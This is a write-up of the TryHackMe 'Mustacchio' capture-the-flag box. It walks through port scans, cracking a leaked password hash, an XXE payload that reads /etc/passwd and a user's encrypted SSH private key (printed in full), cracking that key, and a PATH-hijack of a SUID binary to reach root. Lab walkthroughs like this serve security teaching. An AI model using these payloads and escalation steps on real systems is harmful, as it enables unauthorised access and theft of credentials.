

TryHackMe-Mustacchio

Nmap scan shows:

```
(kali㉿kali)-[~/hackingstuff/tryhackme/mustacchio]
└─$ sudo nmap -sC -sV -T4 10.10.146.143
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 12:56 EDT
Nmap scan report for 10.10.146.143
Host is up (0.20s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 58:1b:0c:0f:fa:cf:05:be:4c:c0:7a:f1:f1:88:61:1c (RSA)
|_   256 3c:fc:e8:a3:7e:03:9a:30:2c:77:e0:0a:1c:e4:52:e6 (ECDSA)
|_   256 9d:59:c6:c7:79:c5:54:c4:1d:aa:e4:d1:84:71:01:92 (ED25519)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Mustacchio | Home
|_ http-robots.txt: 1 disallowed entry
|_ /
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds
```

Let's browse to the web server/enumerate directories

Ran hashcat on the has found from users.bak

```
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

1868e36a6d2b17d4c2745f1659433a54d4bc5f4b:bulldog19
```

I did another nmap scan and enumerated all ports this time and found 8765 open that has nginx

<http://10.10.146.143:8765>

I browsed here and was greeted with an admin login form, so i used admin:bulldog19

Add a comment on the website.

Submit

Comment Preview:

Name:

Author :

Comment :

We can insert xml code, which we find out if we submit the form with nothing in it.

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4   <meta charset="UTF-8">
5   <meta http-equiv="X-UA-Compatible" content="IE=edge">
6   <meta name="viewport" content="width=device-width, initial-scale=1.0">
7   <title>Mustacchio | Admin Page</title>
8   <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-e0JMYsd53ii+sc0/bJGfSiCZc+5NDVN2yr8+0RDqr0Ql0h+rP48ckxlpbkGwra6" crossorigin="anonymous">
9   <link rel="stylesheet" href="assets/css/home.css">
10  <script type="text/javascript">
11    //document.cookie = "Example=/auth/dontforget.bak";
12    function checkarea() {
13      let tbox = document.getElementById("box").value;
14      if (tbox == null || tbox.length == 0) {
15        alert("Insert XML Code!")
16      }
17    }
18  </script>
19 </head>
20 <body>
21   <div class="container">
22     <div class="row">
23       <div class="col-md-6">
24         <div class="card">
25           <div class="card-body">
26             <div class="text-center">
27               <h2>Admin Page</h2>
28             </div>
29             <div class="text-center">
30               <h3>Admin Login</h3>
31             </div>
32             <div class="text-center">
33               <input type="text" value="Username" />
34             </div>
35             <div class="text-center">
36               <input type="password" value="Password" />
37             </div>
38             <div class="text-center">
39               <button type="button" value="Login" />
40             </div>
41           </div>
42         </div>
43       </div>
44       <div class="col-md-6">
45         <div class="card">
46           <div class="card-body">
47             <div class="text-center">
48               <h2>Admin Page</h2>
49             </div>
50             <div class="text-center">
51               <h3>Admin Login</h3>
52             </div>
53             <div class="text-center">
54               <input type="text" value="Username" />
55             </div>
56             <div class="text-center">
57               <input type="password" value="Password" />
58             </div>
59             <div class="text-center">
60               <button type="button" value="Login" />
61             </div>
62           </div>
63         </div>
64       </div>
65     </div>
66   </div>
67 </body>
68 </html>
```

Viewing the source code, we see the /auth/dontforget.bak file, so lets download that

```
<?xml version="1.0" encoding="UTF-8"?>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>his paragraph was a waste of time and space. If you had not read this
and I had not typed this you and I could've done something
  more productive than reading this mindlessly and carelessly as if you did not
have anything else to do in life. Life is so precious
  because it is short and you are being so careless that you do not realize it
until now since this void paragraph mentions that you
  are doing something so mindless, so stupid, so careless that you realize that
you are not using your time wisely. You could've been
  playing with your dog, or eating your cat, but no. You want to read this
barren paragraph and expect something marvelous and terrific
```

```
at the end. But since you still do not realize that you are wasting precious
time, you still continue to read the null paragraph.
If you had not noticed, you have wasted an estimated time of 20 seconds.</
com>
</comment>
```

Now, the information is useless, but the format is what will help us in crafting an XXE attack

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

I found this template we can use with:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<comment>
  <name>Joe Hamd</name>
  <author>Barry Clad</author>
  <com>&xxe;</com>
</comment>
```

So using it on the form, we get /etc/passwd!

```
Author : Barry Clad

Comment :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache
man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-
data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Listing Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var
lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,/run/systemd:/bin/false syslog:x:104:108:/home/syslog:/bin/false _apt:x:105:65534:/nonexistent:/bin/false lxd:x:106:65534:/var/lib/lxc
/bin/false messagebus:x:107:111:/var/run/dbus:/bin/false uidd:x:108:112:/run/uid:/bin/false dnsmasq:x:109:65534:dnsmasq,,/var/lib/misc:/bin/false sshd:x:110:65534:/var/run/sshd:/usr/sbin/nologin pollinate:x:111:1:/var/cache/pollinate:/bin/false
cvs:x:1002:1002:/home/cvs:/bin/false sftp:x:1003:1003:/home/sftp:/bin/false
```

Knowing this, and knowing there is user barry and he can ssh in with an RSA key, lets try to print out his key

```
Comment :
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4, ENCRYPTED DEK-Info: AES-128-CBC,D137279D69A43E71BB7FCB87FC61D25E JqDJP+blUr+XMIASyB9rt4gFyMI9VugHQJAyIGZE6Jb1nG57eGYOM8wdZVVMGrfN
bNJVZxj6ViuZMr9uEX8Y4C2bt2KCBIFg224B61z4XJoiWQ35G/bXs1ZGxXoNIMU MZdJ7DH1k226QMTm4q96MZKEQ5ZFa032SohtfDPsoim/7dNapEOujRmw+ruBE65 l2f9wZCfDaEZvxCSyQFDJJBXm07mqfSJ3d59dwhrG9duruu1/alUuVl/M8bOS2D
Wyt3nkXYWYd4SPSTCKcy4U9Yw26L7KMFLcWcG0D3l6i1DwyEUBZmc8UauQFH7E NsNswVykr3gswl2BMTqGz1bw1gOdCj3B9c1LJ6mRWXID3HSmWcc/8bHfdvVsgQ ul7A8ROlznv7/WHlclA1StcrFaUj8vfxI53fip9gBblf6syOo0zDJ4Vvw3ycOie
TH6b6mGFexRiSaE/u3r54vZzL0KHgXtapzb4gDlyQJo3wqD1FY7AC12eUc9NdC rcvG8XcDg+oBQokDnGVSnGmmvmPxIsVTT3027Ykzwei3WVlagMBCOO/ekoYeNWIX bhl1qTiQ6uC1kHjyTHUKNZVB78eDSankoERLyfcd49k/exHZYTmmKKcdjNQ+KNk
4cpvIG9Qp5Fh7uFCDWohE/qELpRKZ4/k6HiA4F31D59JvLCKQ6lwOflRnstYB8 7+YoMkPWHVkjmsNVMX+elcZv47KNdN4kx658STmrUSK8GgGnqlJ2/G1Bk+ T+gWceS51WrxJujmnmjwuFD3S2XZaVXJSdK7vD3E8KfWjgM0zXFu4McncfAWkd
ahYmead6WlWHIM98G/hQ6K6yPDD7GDh7BZuMgpNDLbS+vpBPRzXotCIXH6Q99I7 LiuQCN5hCb8ZHFD06A+F2aZnpg0G7FsyTwTnACiZL261GdxhNi+3tjOVDGQkPVUs pkh9gqv5+mdZ6LVEqQ31eW2zdtCUIUu4Wszr+AndHPa2lq190P+wH2Isd4bMSsxxg
laXPXdcVjxmWts+Kl56fRomKD9YdPtD4Uvyr53Ch7CiiJNsFJg4Y2s7WiaX9o vpJLGMtpzhg8AXJFVatwaRAFPxn54y1FITX6tkv62yDRjPsXfzwbMNSvGFgvQK DZkaek+bBjXrmuqD4EB9K540RuO6d7kiwKNnTvTgTspWIVCebMfLi76SKbLvpnf
6aak2JkMIQ9l0bukDOLXMOAoEamIKJT5g+wZCC5aUJ6cZG0Mv0XkbSX2DTmhyUF ckQU/dcZcx9UXolFhx7DesqroBTR6fEBqsn7OPISfj0IAHHCglsxPawmVSm3bs 7bdofhlZBJXYdlI2gBAqgd5jBJU8GfFcGyph9cb3f+C3nkmeDZJGRJwxUYeUS9Of
1dVktWUhh2x9apWRV8pJM/ByDd0kNWa/c/MrGM0+DKkHoAZKfDI3sC0gdRB7kUQ +Z87nFimxw95dXvoZXZvoMSb7OvI27AUHueeU8ctWselKrmPw56+XhObBoAbRln 7mxN/N5LiosTefJnlhldlHIDTDMsEwjACA+q686+bREd+drajgkR9eKgSME7geVD -----END
RSA PRIVATE KEY-----
```

and we were able to get it!

Next part take me a while. The formatting was all off so I had to clean it up

Use ssh2john first as the key is encrypted, and then use regular john to crack the key

use sudo ssh -i rsa_id_filename barry@IP

and use password that we cracked to get in

Running the following command to check said:

```

Live Nginx Log Readerbarry@mustacchio:/home/joe$ find / -user root -perm -4000 -print 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmccrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/newuidmap
/usr/bin/gpasswd
/home/joe/live_log
/bin/ping
/bin/ping6
/bin/umount
/bin/mount
/bin/fusermount
/bin/su

```

we see that /joe/live_log sticks out

Lets strings that out:

```

barry@mustacchio:/home/joe$ strings live_log
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
printf
system
__cxa_finalize
setgid
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[ ]A\A]A^A_
Live Nginx Log Reader
tail -f /var/log/nginx/access.log
:*3$"
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0

```

We notice that tail is not using the full path, so we can exploit this by making our own tail

```
barry@mustacchio:/home/joe$ cd /dev/shm
barry@mustacchio:/dev/shm$ echo /bin/bash > tail
barry@mustacchio:/dev/shm$ ls
exploit.sh  file.sh  linpeas.sh  tail  wget-log
barry@mustacchio:/dev/shm$ export PATH=$(pwd):$PATH
barry@mustacchio:/dev/shm$ chmod +x tail
barry@mustacchio:/dev/shm$ cd /home/joe
barry@mustacchio:/home/joe$ ./live_log
root@mustacchio:/home/joe# ls
live_log
```

The reason why this escalation technique works, is because as you can see from the live_log file, tail is not using the full path (ie /usr/bin/tail) so linux has no idea where tail is

So now we are root and can cat out our flag